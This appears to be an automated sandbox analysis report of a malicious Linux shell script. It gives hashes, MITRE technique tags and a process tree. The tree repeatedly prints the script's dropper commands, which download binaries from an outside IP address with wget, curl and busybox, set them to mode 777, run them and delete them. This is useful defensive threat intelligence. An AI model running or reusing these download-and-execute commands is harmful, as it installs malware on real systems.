90cc63944058f1b1b2f5b40dc1288529dbff2e75e76381b2a35de21c4fabc5c3

Analysis

max time kernel
71s
max time network
73s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
29/10/2024, 02:41

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
90cc63944058f1b1b2f5b40dc1288529dbff2e75e76381b2a35de21c4fabc5c3.sh
Size 10KB
Sample241029-c6vxza1lan
SHA256 90cc63944058f1b1b2f5b40dc1288529dbff2e75e76381b2a35de21c4fabc5c3
MD5 05676d582a06a0b7302060800ad72ef0
SHA1 c8fe43d797cdc8390adbf73e026c2cc0c5d81757
SHA512 3101d43946e54581dc59839ccf2376ef12db901a62a51c48eb2aa6d957661cd13b39a1067645b9cf5f5fded5df5b641f80b3d58370ca805ad4c04123de0419b7
SSDEEP 192:4yEZu5+szPApp5UQ9Xk8lzPApp5UQ9Xk8Mg:4yEZucBUQ9Xk8UUQ9Xk8L
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
968	chmod
746	chmod
799	chmod
884	chmod
950	chmod
809	chmod
890	chmod
866	chmod
820	chmod
860	chmod
944	chmod
734	chmod
914	chmod
920	chmod
926	chmod
956	chmod
974	chmod
872	chmod
878	chmod
896	chmod
932	chmod
740	chmod
770	chmod
848	chmod
902	chmod
908	chmod
938	chmod
962	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 10 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
923	wget
927	tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
875	wget
876	curl
877	busybox
879	tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
880	rm
924	curl
925	busybox
928	rm

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA	curl
File opened for modification	/tmp/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r	curl
File opened for modification	/tmp/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73	curl
File opened for modification	/tmp/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS	curl
File opened for modification	/tmp/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA	curl
File opened for modification	/tmp/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3	curl
File opened for modification	/tmp/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r	curl
File opened for modification	/tmp/ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7	curl
File opened for modification	/tmp/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI	curl
File opened for modification	/tmp/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF	curl
File opened for modification	/tmp/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz	curl
File opened for modification	/tmp/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR	curl
File opened for modification	/tmp/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2	curl
File opened for modification	/tmp/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz	curl
File opened for modification	/tmp/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd	curl
File opened for modification	/tmp/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73	curl
File opened for modification	/tmp/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD	curl
File opened for modification	/tmp/TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq	curl
File opened for modification	/tmp/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd	curl
File opened for modification	/tmp/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR	curl
File opened for modification	/tmp/TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq	curl
File opened for modification	/tmp/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF	curl
File opened for modification	/tmp/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI	curl
File opened for modification	/tmp/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD	curl
File opened for modification	/tmp/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS	curl
File opened for modification	/tmp/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3	curl
File opened for modification	/tmp/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2	curl
File opened for modification	/tmp/ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7	curl

/tmp/90cc63944058f1b1b2f5b40dc1288529dbff2e75e76381b2a35de21c4fabc5c3.sh
/tmp/90cc63944058f1b1b2f5b40dc1288529dbff2e75e76381b2a35de21c4fabc5c3.sh
1⤵
PID:703
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:707
- /usr/bin/wget
  wget http://87.120.84.230/bins/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  PID:713
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:725
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  PID:732
- /bin/chmod
  chmod 777 EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  ./EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  - Executes dropped EXE
  PID:735
- /bin/rm
  rm EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  PID:736
- /usr/bin/wget
  wget http://87.120.84.230/bins/TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  2⤵
  PID:737
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:738
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  2⤵
  PID:739
- /bin/chmod
  chmod 777 TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  ./TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  2⤵
  - Executes dropped EXE
  PID:741
- /bin/rm
  rm TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  2⤵
  PID:742
- /usr/bin/wget
  wget http://87.120.84.230/bins/ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  2⤵
  PID:743
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:744
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  2⤵
  PID:745
- /bin/chmod
  chmod 777 ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  ./ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  2⤵
  - Executes dropped EXE
  PID:747
- /bin/rm
  rm ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  2⤵
  PID:748
- /usr/bin/wget
  wget http://87.120.84.230/bins/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  PID:749
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:756
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  PID:765
- /bin/chmod
  chmod 777 ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /tmp/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  ./ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  - Executes dropped EXE
  PID:772
- /bin/rm
  rm ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  PID:774
- /usr/bin/wget
  wget http://87.120.84.230/bins/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  PID:776
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:782
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  PID:793
- /bin/chmod
  chmod 777 5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  ./5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  - Executes dropped EXE
  PID:801
- /bin/rm
  rm 5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  PID:803
- /usr/bin/wget
  wget http://87.120.84.230/bins/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  PID:805
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:807
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  PID:808
- /bin/chmod
  chmod 777 XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  ./XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  - Executes dropped EXE
  PID:810
- /bin/rm
  rm XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  PID:811
- /usr/bin/wget
  wget http://87.120.84.230/bins/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  PID:812
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:813
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  PID:814
- /bin/chmod
  chmod 777 AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  ./AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  - Executes dropped EXE
  PID:822
- /bin/rm
  rm AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  PID:824
- /usr/bin/wget
  wget http://87.120.84.230/bins/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  PID:826
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:835
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  PID:843
- /bin/chmod
  chmod 777 kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  - File and Directory Permissions Modification
  PID:848
- /tmp/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  ./kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  - Executes dropped EXE
  PID:849
- /bin/rm
  rm kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  PID:852
- /usr/bin/wget
  wget http://87.120.84.230/bins/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  PID:853
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:858
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  PID:859
- /bin/chmod
  chmod 777 CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  ./CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  PID:862
- /usr/bin/wget
  wget http://87.120.84.230/bins/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  PID:863
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:864
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  PID:865
- /bin/chmod
  chmod 777 HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /tmp/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  ./HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  - Executes dropped EXE
  PID:867
- /bin/rm
  rm HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  PID:868
- /usr/bin/wget
  wget http://87.120.84.230/bins/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  PID:869
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:870
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  PID:871
- /bin/chmod
  chmod 777 UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  ./UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  - Executes dropped EXE
  PID:873
- /bin/rm
  rm UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  PID:874
- /usr/bin/wget
  wget http://87.120.84.230/bins/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - System Network Configuration Discovery
  PID:875
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:876
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - System Network Configuration Discovery
  PID:877
- /bin/chmod
  chmod 777 tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  ./tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:879
- /bin/rm
  rm tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - System Network Configuration Discovery
  PID:880
- /usr/bin/wget
  wget http://87.120.84.230/bins/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  PID:881
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:882
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  PID:883
- /bin/chmod
  chmod 777 XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  ./XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  - Executes dropped EXE
  PID:885
- /bin/rm
  rm XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  PID:886
- /usr/bin/wget
  wget http://87.120.84.230/bins/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  PID:887
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:888
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  PID:889
- /bin/chmod
  chmod 777 NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  ./NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  - Executes dropped EXE
  PID:891
- /bin/rm
  rm NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  PID:892
- /usr/bin/wget
  wget http://87.120.84.230/bins/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  PID:893
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:894
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  PID:895
- /bin/chmod
  chmod 777 5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  ./5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  - Executes dropped EXE
  PID:897
- /bin/rm
  rm 5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  PID:898
- /usr/bin/wget
  wget http://87.120.84.230/bins/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  PID:899
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:900
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  PID:901
- /bin/chmod
  chmod 777 XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /tmp/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  ./XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  - Executes dropped EXE
  PID:903
- /bin/rm
  rm XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  PID:904
- /usr/bin/wget
  wget http://87.120.84.230/bins/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  PID:905
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:906
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  PID:907
- /bin/chmod
  chmod 777 ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  - File and Directory Permissions Modification
  PID:908
- /tmp/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  ./ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  - Executes dropped EXE
  PID:909
- /bin/rm
  rm ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  PID:910
- /usr/bin/wget
  wget http://87.120.84.230/bins/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  PID:911
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:912
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  PID:913
- /bin/chmod
  chmod 777 HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  - File and Directory Permissions Modification
  PID:914
- /tmp/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  ./HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  - Executes dropped EXE
  PID:915
- /bin/rm
  rm HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  PID:916
- /usr/bin/wget
  wget http://87.120.84.230/bins/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  PID:917
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:918
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  PID:919
- /bin/chmod
  chmod 777 UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  - File and Directory Permissions Modification
  PID:920
- /tmp/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  ./UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  - Executes dropped EXE
  PID:921
- /bin/rm
  rm UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  PID:922
- /usr/bin/wget
  wget http://87.120.84.230/bins/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - System Network Configuration Discovery
  PID:923
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:924
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - System Network Configuration Discovery
  PID:925
- /bin/chmod
  chmod 777 tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - File and Directory Permissions Modification
  PID:926
- /tmp/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  ./tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:927
- /bin/rm
  rm tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - System Network Configuration Discovery
  PID:928
- /usr/bin/wget
  wget http://87.120.84.230/bins/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  PID:929
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:930
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  PID:931
- /bin/chmod
  chmod 777 XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  - File and Directory Permissions Modification
  PID:932
- /tmp/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  ./XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  - Executes dropped EXE
  PID:933
- /bin/rm
  rm XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  PID:934
- /usr/bin/wget
  wget http://87.120.84.230/bins/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  PID:935
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:936
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  PID:937
- /bin/chmod
  chmod 777 NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  - File and Directory Permissions Modification
  PID:938
- /tmp/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  ./NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  - Executes dropped EXE
  PID:939
- /bin/rm
  rm NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  PID:940
- /usr/bin/wget
  wget http://87.120.84.230/bins/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  PID:941
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:942
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  PID:943
- /bin/chmod
  chmod 777 AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  - File and Directory Permissions Modification
  PID:944
- /tmp/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  ./AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  - Executes dropped EXE
  PID:945
- /bin/rm
  rm AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  PID:946
- /usr/bin/wget
  wget http://87.120.84.230/bins/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  PID:947
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:948
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  PID:949
- /bin/chmod
  chmod 777 kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  - File and Directory Permissions Modification
  PID:950
- /tmp/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
